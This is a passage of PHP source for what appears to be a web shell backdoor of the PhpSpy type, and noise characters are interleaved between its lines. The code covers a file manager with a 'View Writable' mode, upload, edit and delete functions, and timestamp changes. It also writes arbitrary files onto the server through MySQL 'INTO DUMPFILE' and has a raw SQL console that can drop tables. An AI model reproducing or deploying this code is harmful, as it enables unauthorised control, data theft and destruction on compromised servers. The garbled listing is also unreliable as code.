     3 h8 {* h: @; G0 `' ~0 P2 @
463. function opfile(action,opfile,dir){
     
464.         $('fileopform').action.value=action;
     4 r# v6 [2 w* y: Z2 B' @  \
465.         $('fileopform').opfile.value=opfile;
     6 f0 W# w3 ?& t5 L( _' p$ V
466.         $('fileopform').dir.value=dir;
     
467.         $('fileopform').submit();
     0 x4 k' p9 M1 @6 E. T  w' F" M
468. }
     
469. function godir(dir,view_writable){
     
470.         if (view_writable) {
     
471.                 $('godir').view_writable.value=1;
     
472.         }
     * n& V4 f- K1 J* t6 A& L
473.         $('godir').dir.value=dir;
     # o) f0 v9 I( x* a. X& K) @
474.         $('godir').submit();
     
475. }
     
476. </script>
     
477.   <?php
     + A! e- l, [9 h! V
478.         tbhead();
     
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     - |" t+ q8 X+ \" W! C- z- i" B! g
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     ( @; H7 v, f3 S3 b
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     
482.         if ($view_writable) {
     " Z5 r, w3 a3 _$ Q2 A3 s2 @
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     - h7 m( Y% W! Z; M
484.         } else {
     & N/ {) ^: @8 W8 ]
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     
486.         }
     9 M) `* d6 r- U
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     . ^" z7 b/ b( f: m
488.         if (IS_WIN && IS_COM) {
     
489.                 $obj = new COM('scripting.filesystemobject');
     & G5 A; n9 B. H1 |$ V
490.                 if ($obj && is_object($obj)) {
     & H2 d' \& a$ p8 m+ G- e. ?
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     7 h$ e6 o8 S) U) m
492.                         foreach($obj->Drives as $drive) {
     $ L& S- [3 N8 _
493.                                 if ($drive->DriveType == 2) {
     " I' E" @" G! d8 T$ \9 I7 C
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     
495. Free:'.sizecount($drive->FreeSpace).'
     ' W8 V  s/ M8 r- _9 ^7 M
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
497.                                 } else {
     $ X% C( i' h. j$ e
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
499.                                 }
     ( i7 @4 |6 {: H# J. N; N
500.                         }
     
501.                 }
     
502.         }
     & P; W2 Q3 z3 i. P4 S8 {
503. 
     6 ~5 S# B7 E$ q1 E/ m: M
504.         p('</td></tr></form>');
     4 l% ]0 F5 w, ~
505. 
     
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     
507. 
     
508.         //查看所有可写文件和目录
     , [( ~' z) m& j- L
509.         $dirdata=array();
     
510.         $filedata=array();
     
511. 
     
512.         if ($view_writable) {
     / B. Z8 v% \. _( `3 \9 X* N
513.                 $dirdata = GetList($nowpath);
     ' t4 K$ H: H/ p: _- i
514.         } else {
     
515.                 // 目录列表
     1 c+ H* U4 D# {
516.                 $dirs=@opendir($dir);
     
517.                 while ($file=@readdir($dirs)) {
     
518.                         $filepath=$nowpath.$file;
     0 b9 h/ Q+ a7 s1 h$ M1 x- z
519.                         if(@is_dir($filepath)){
     7 k: H! ~0 Q/ c# W3 i1 ]
520.                                 $dirdb['filename']=$file;
     + ]- o, q, \) v' R
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     , I* I! V! F6 z9 u
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     
523.                                 $dirdb['dirperm']=getPerms($filepath);
     2 x- G' n4 U9 O
524.                                 $dirdb['fileowner']=getUser($filepath);
     
525.                                 $dirdb['dirlink']=$nowpath;
     & A" W& ^6 S( s) ]6 @/ ?
526.                                 $dirdb['server_link']=$filepath;
     9 K! M1 R4 Q6 V/ y: _' e& b& r
527.                                 $dirdb['client_link']=ue($filepath);
     ! I9 S! v  d$ m- v& f
528.                                 $dirdata[]=$dirdb;
     1 l. J3 H0 c0 s2 [) Z/ n/ x+ h
529.                         } else {               
     
530.                                 $filedb['filename']=$file;
     : `. w8 I) z2 ^+ H
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
533.                                 $filedb['filechmod']=getChmod($filepath);
     8 E9 M7 z4 H- _5 ?- s
534.                                 $filedb['fileperm']=getPerms($filepath);
     3 E0 K. s6 P. d# b% t3 c% g! ^
535.                                 $filedb['fileowner']=getUser($filepath);
     
536.                                 $filedb['dirlink']=$nowpath;
     . ~/ O, B2 W; n
537.                                 $filedb['server_link']=$filepath;
     $ N4 p! {) x7 U( d! E  W
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     
540.                         }
     7 W: m1 C/ f$ Q
541.                 }// while
     & l/ e) d( C' k3 Q! r# I2 {  @
542.                 unset($dirdb);
     
543.                 unset($filedb);
     , G$ {8 O# z! T- s' N- y
544.                 @closedir($dirs);
     3 m- l3 i% }7 A
545.         }
     4 o5 {3 o- t4 l' m
546.         @sort($dirdata);
     
547.         @sort($filedata);
     8 E+ q6 p- }9 l5 [- l% A% Z
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
       ^) k: E; V6 a' n
551.                         $thisbg = bg();
     8 O' R5 ?: V2 t
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     
556.                         p('<td nowrap>--</td>');
     4 \  R1 |9 T/ p( r1 X& n
557.                         p('<td nowrap>');
     
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     5 |1 Q6 @9 _! J1 L8 R5 g
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     / i. H8 B3 f1 ^: k- Q3 w; |
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     - e, J  L6 s/ j( p1 `7 k9 }! h
561.                         p('</tr>');
     ! u% a  o) \* g, N
562.                         $dir_i++;
     
563.                 } else {
     5 B( o3 w" u/ U0 v
564.                         if($dirdb['filename']=='..') {
     1 ?8 z+ F& @/ L( N/ c4 G
565.                                 p('<tr class='.bg().'>');
     7 N1 y- B8 V1 Q+ m$ L
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     
567.                                 p('</tr>');
     
568.                         }
     
569.                 }
     & C: [, j. K  x$ s& h$ P
570.         }
     
571. 
     
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     " k/ v5 \2 X3 c5 D: J* W/ P
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     
574.         makehide('action','file');
     " S6 u+ }8 A4 Q3 H9 {) g
575.         makehide('thefile');
     
576.         makehide('doing');
     ) h: }  ~4 _, e# Y; _
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     
579.         foreach($filedata as $key => $filedb){
     1 G* h* z- D! j7 Z
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     6 s. w9 Z5 `5 H: s
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     " e+ [4 S+ F8 z/ t" l- V
582.                         $thisbg = bg();
     
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     $ U  g3 k& D* I& @6 |( A
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     , I9 |6 p. k# e) ~. \6 P, Y
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     
588.                         p('<td nowrap>');
     5 Z# o$ U2 h( @7 e( N8 R. v
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     * [: }& V& u' f$ m- _" s
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
     . ^4 @: e  G3 r) v
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     ! r* \* v8 T. r2 ^* L  `
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     
597.                         p('</td></tr>');
     ) I% x- y: g8 C5 @7 n, G& q, K
598.                         $file_i++;
     ' G+ I: r, o. D" k" s
599.                 }
     
600.         }
     
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     
602.         p('</form></table>');
     ; a0 ]5 W8 L( S1 h8 s5 N
603. }// end dir
     3 b4 H( V* T6 v. p) `, D$ u7 Z
604. 
     
605. elseif ($action == 'sqlfile') {
     
606.         if($doing=="mysqlupload"){
     
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     , h1 _. ?0 B* f
609.                 if (file_exists($savepath)) {
     
610.                         m('The goal file has already existed');
     
611.                 } else {
     
612.                         if(!$filename) {
     
613.                                 m('Please choose a file');
     . I9 _( F" _5 Z# Z
614.                         } else {
     
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     $ k& Z) {( U1 i3 s3 y; x
617.                                 @fclose($fp);
     
618.                                 $contents = bin2hex($contents);
     
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     0 y! Y4 T, n& k' J2 \/ S9 }/ B( V. i
623.                         }
     ) F; X% e2 Z) v. r8 F5 Z
624.                 }
     
625.         }
     0 n& `  g! e* R) x5 s* Y5 c5 V- V- B
626. ?>
     & `% u, B1 ~& i. D' r' D$ C( ~# F
627. <script type="text/javascript">
     ! u$ ~# B4 S: S
628. function mysqlfile(doing){
     % c8 o; {( R+ ]! _: [$ e+ d0 p
629.         if(!doing) return;
     
630.         $('doing').value=doing;
     0 z. b3 z* r4 ], L# q
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     . q/ C' I4 J- I. G& m: g7 u
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     9 x4 j2 g5 C; S
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     - A0 g; f' q: a7 m$ F
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     
637.         $('mysqlfile').submit();
     / z0 U2 `/ a9 [. |) }
638. }
     
639. </script>
     6 G6 j: L4 |# I+ _$ h
640. <?php
     * O; K7 }. j. z
641.         !$dbhost && $dbhost = 'localhost';
     
642.         !$dbuser && $dbuser = 'root';
     % X5 \' e( T. E3 r
643.         !$dbport && $dbport = '3306';
     
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     - M) O  N1 M; a: n" a
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     # N, U* i( O5 ]  ?6 z  v* C! b) a% A& w
648.         p('DBHost:');
     
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     2 z7 Q0 v' o) d) p" v
650.         p(':');
     
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
652.         p('DBUser:');
     
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     , ]/ }9 b# P0 W3 N$ j  d, U  W
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     6 L7 a6 l1 f: C3 l
656.         p('DBName:');
     
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     : w! P0 N+ t( g+ m+ k. X
658.         p('DBCharset:');
     3 T8 M. D2 O/ _3 j$ N
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     2 R& J3 C9 p& @" S, m
660.         p('</p>');
     
661.         formfoot();
     $ Z) x' D2 o" t3 p4 r3 S
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     
663.         p('<h2>Upload file</h2>');
     * m& ?5 \+ m  k+ M1 M/ l
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     
666.         p('<h2>Download file</h2>');
     
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     5 x9 B) A. g) V; }4 i" }
668.         makehide('dbhost');
     / H! ^6 R. p' h2 n/ H
669.         makehide('dbport');
     
670.         makehide('dbuser');
     
671.         makehide('dbpass');
     ) h2 f3 s' z6 ~4 T
672.         makehide('dbname');
     0 ~) O; R$ [6 u* ]' S$ h) L
673.         makehide('charset');
     , @! b& h; N' x7 h* X4 G  _$ R7 Y# s
674.         makehide('doing');
     
675.         makehide('action','sqlfile');
     ) L  ]+ _7 R1 m" n
676.         p('</form>');
     
677. }
     & G0 V/ W' |% u# A
678. 
     
679. elseif ($action == 'sqladmin') {
     # }9 ?6 \, r. l* k+ v6 e% C
680.         !$dbhost && $dbhost = 'localhost';
     
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     
684.         if(isset($dbhost)){
     
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     
686.         }
     
687.         if(isset($dbuser)) {
     
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     ( J. a$ J1 Y- t8 s
689.         }
     
690.         if(isset($dbpass)) {
     ) o( m5 P3 b3 h9 ~8 o( L. l
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     6 b4 }9 V! s" ]2 {% u
692.         }
     
693.         if(isset($dbport)) {
     
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     
695.         }
     2 m* A) ]* J7 Z, |' |: i
696.         if(isset($dbname)) {
     4 ~# I- [4 p: C" L6 V! K: [
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     
698.         }
     # ^% Q. S& w# g: c& n
699.         if(isset($charset)) {
     9 S% a8 q1 N! Y1 N* t% K  H8 ?
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     
701.         }
     
702. 
     
703.         if ($doing == 'backupmysql' && $saveasfile) {
     ' k" S) J5 m! Y5 R5 N* R) L3 Y
704.                 if (!$table) {
     - B- y( ]* z. v  `  K( q
705.                         m('Please choose the table');
     
706.                 } else {
     
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     " S9 f" Z8 U( W
708.                         $table = array_flip($table);
     . ?1 a; e* l! h4 \- T, ]
709.                         $fp = @fopen($path,'w');
     4 m9 _. u, g$ ]
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     6 E+ Y/ f& T  c- u9 R5 M
714.                                 while ($currow = mysql_fetch_array($result)) {
     ) L  v3 A: `) d( g: m+ C! Z
715.                                         if (isset($table[$currow[0]])) {
     # K3 x- t" f- O. k- I( _+ ]
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
     ) _- c& A7 Z+ e. [+ B; M
718.                                 }
     ' r2 s6 D0 n( A8 A
719.                                 fclose($fp);
     
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     ; e0 X; Y$ I( L% }, ~
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     
723.                         } else {
     0 D( C6 I; G+ E, ?
724.                                 m('Backup failed');
     
725.                         }
     
726.                 }
     ; ^1 ~0 o4 m. G* Y
727.         }
     + K0 j# I2 Z4 a/ v8 D  n' {* f
728.         if ($insert && $insertsql) {
     " u& i9 h, Y" ?$ t
729.                 $keystr = $valstr = $tmp = '';
     
730.                 foreach($insertsql as $key => $val) {
     $ k+ {& T! ]8 s( h" B; E# u+ y
731.                         if ($val) {
     ! l. Q( d3 w# C8 \; f
732.                                 $keystr .= $tmp.$key;
     2 L5 `8 O) \5 p& C) |; R
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     
734.                                 $tmp = ',';
     4 j' v1 B. u& M6 k
735.                         }
     7 p- M3 ^* U/ X6 x2 K6 q
736.                 }
     / G0 o% l5 `8 c' G
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     7 u0 f' ~$ f  J+ s0 w) i% \: D
740.                 }
     
741.         }
     8 p4 C* j1 W+ i: y
742.         if ($update && $insertsql && $base64) {
     ) h5 R& U( t; i+ j& p5 f
743.                 $valstr = $tmp = '';
     1 a# f$ H7 F& d& h* O- \
744.                 foreach($insertsql as $key => $val) {
     
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     % Z: v: u. Y* ~4 v6 C: @0 P9 L
746.                         $tmp = ',';
     ' T$ w/ s* M3 p! h! Q
747.                 }
     ! }. K# r# ^0 D4 Q$ ?
748.                 if ($valstr) {
     
749.                         $where = base64_decode($base64);
     
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     ) g$ i$ I4 R) G* Z! |& o
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     2 t) d+ o2 F( y
752.                 }
     # g8 y* t* n, A% H# Q- p
753.         }
     * P* p$ l* g" B& R( n7 o, e
754.         if ($doing == 'del' && $base64) {
     . k2 c+ V) Z, u! \/ M6 M
755.                 $where = base64_decode($base64);
     
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     8 h7 A  {0 X; E; G# @: |: S
759.         }
     2 ?) a5 {) w1 c7 Q7 O1 A
760. 
     ' b' ]9 G6 k; F9 X+ R; u+ u
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     4 K# a6 @$ A0 e0 H; m5 c" Y! f; }
763.                 if (q("DROP TABLE $tablename")) {
     
764.                         m('Drop table of success');
     
765.                         $tablename = '';
     
766.                 } else {
     
767.                         m(mysql_error());
     
768.                 }
     
769.         }
     ! [! A- o! O+ f5 G( y
770. 
     5 `# B5 k( N4 l$ T" V
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     / u/ E% K$ d, c; w7 a! U' F
772. 
     
773.         formhead(array('title'=>'MYSQL Manager'));
     . V$ n0 O* y  H2 N3 K. t5 s$ U" @
774.         makehide('action','sqladmin');
     
775.         p('<p>');
     
776.         p('DBHost:');
     ' k! t* y& m3 ?7 _( F
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     , J. u, d# J" A, M
778.         p(':');
       K- I$ i# e& D+ k' T/ [8 \  R
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     5 u' |! `, q: g& e( Q; H
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     : h% H3 Z5 @: L0 e5 X+ U
784.         p('DBCharset:');
     
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     7 U- Q" f( }5 Y; l8 |5 \
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     5 K8 d1 J9 k; s3 n
787.         p('</p>');
     2 c/ J& ^& Q5 |& ^
788.         formfoot();
     * Y- `  w4 N% [' w5 k
789. ?>
     3 o& I; `$ A$ c& M: a( ^0 |# Q4 y
790. <script type="text/javascript">
     - E8 F6 r; {' H0 g. d
791. function editrecord(action, base64, tablename){
     3 E* a3 y6 S6 a* ^. d
792.         if (action == 'del') {               
     
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     
794.         }
     
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
       i5 o+ N; c% l0 Z0 l; U7 y
797.         $('recordlist').tablename.value=tablename;
     . V2 _! B: B1 i5 D$ A; C4 ^0 _$ B
798.         $('recordlist').submit();
     
799. }
     / ]9 I: [- ^+ a; e. h/ e/ ~
800. function moddbname(dbname) {
     
801.         if(!dbname) return;
     7 K0 T- o9 m' A+ k
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     
804. }
     ( O; D% o& z( X' m, H
805. function settable(tablename,doing,page) {
     1 s' L0 i0 H% ~& [  n: f
806.         if(!tablename) return;
     
807.         if (doing) {
     
808.                 $('settable').doing.value=doing;
     
809.         }
     ! h6 x( g) ]0 C, c( G- ?
810.         if (page) {
     
811.                 $('settable').page.value=page;
     
812.         }
     % O% Y0 h" B# ^  ?) ]
813.         $('settable').tablename.value=tablename;
     
814.         $('settable').submit();
     ; v1 _/ _$ ~1 D+ v
815. }
     
816. </script>
     $ O) k1 s7 I/ W0 x) r6 c
817. <?php
     
818.         //操作记录
     
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     
821.         makehide('action','sqladmin');
     
822.         makehide('base64');
     
823.         makehide('tablename');
     ; L. ^. n% A0 I8 I! J* B
824.         p($dbform);
     
825.         formfoot();
     0 _8 {+ E9 _9 U5 q* o; N, z2 J
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     
829.         p($dbform);
     
830.         if (!$dbname) {
     
831.                 makehide('dbname');
     
832.         }
     
833.         formfoot();
     4 ], B9 @4 I. l2 w
834.         //选定表
     
835.         formhead(array('name'=>'settable'));
     
836.         makehide('action','sqladmin');
     
837.         p($dbform);
     
838.         makehide('tablename');
     - d. D" U, A6 k% Z
839.         makehide('page',$page);
     1 h( e/ Y% [8 D' G( W6 Z
840.         makehide('doing');
     
841.         formfoot();
     " U' s# M/ C, _+ a
842.         $cachetables = array();       
     
843.         $pagenum = 30;
     ; q& @3 v  f- F- F* P
844.         $page = intval($page);
     ' J) V' }4 m4 l0 u
845.         if($page) {
     
846.                 $start_limit = ($page - 1) * $pagenum;
     
847.         } else {
     
848.                 $start_limit = 0;
     5 J( o& o  i0 _2 Q; X: r
849.                 $page = 1;
     
850.         }
     2 m; [( b5 I  d
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     " z: l3 @2 G1 [8 h$ @+ L
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     
857.                 //获取数据库
     : T7 u. u9 K* Z; g4 L- S
858.                 $query = q("SHOW DATABASES");
     # {& O6 a& w! j& N: {; C
859.                 $dbs = array();
     ) `4 b- Y% k9 \! _! R; T
860.                 $dbs[] = '-- Select a database --';
     / p4 ]8 r2 c2 o3 [2 C
861.                 while($db = mysql_fetch_array($query)) {
     1 I- \) o$ e, o3 b
862.                         $dbs[$db['Database']] = $db['Database'];
     
863.                 }
     2 m6 Y. z' t& k& M
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     
865.                 $tabledb = array();
     
866.                 if ($dbname) {
     
867.                         p('<p>');
       `; B5 v/ N2 }! l. H" x6 \4 e
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     
869.                         if ($tablename) {
     
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     0 i0 G5 m& W$ @) v8 T2 Y
871.                         }
     
872.                         p('</p>');
     5 y* G' F( y' M/ H; [  V) [+ C
873.                         mysql_select_db($dbname);
     
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     - ?* x/ w+ K4 v  E
878.                         }
     
879.                         $allowedit = 0;
     
880.                         if ($tablename && !$sql_query) {
     4 c2 ^% O. N) c$ F, K
881.                                 $sql_query = "SELECT * FROM $tablename";
     
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     . u9 g& M2 F* R# G' k/ p* V9 U/ j
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     4 K: Z' c0 l. L9 h0 z1 R
888.                         makehide('tablename', $tablename);
     
889.                         makehide('action','sqladmin');
     5 v+ h' B4 \) d1 Z' G! H. p
890.                         p($dbform);
     6 F+ `7 ~- K, w  P5 W) H
891.                         p('</form>');
     8 r" L6 h& G; q/ y$ L3 ], ^8 s
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
     " O- W( f2 u' `. U: s6 W
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     - c& s, n( a2 A$ c4 M' \
895.                                         $rowdb = array();
     0 k# N  w( M# x6 {
896.                                         while($row = mysql_fetch_array($result)) {
     . `( s- i4 b4 `
897.                                                 $rowdb[] = $row;
     
898.                                         }
     
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     ( O3 q) s1 L1 E/ W0 U
900.                                         p('<tr class="head">');
     1 \* X* ?0 C+ R2 X6 c
901.                                         p('<td>Field</td>');
     + ]% I# H: m$ _6 B7 F
902.                                         p('<td>Type</td>');
     
903.                                         p('<td>Null</td>');
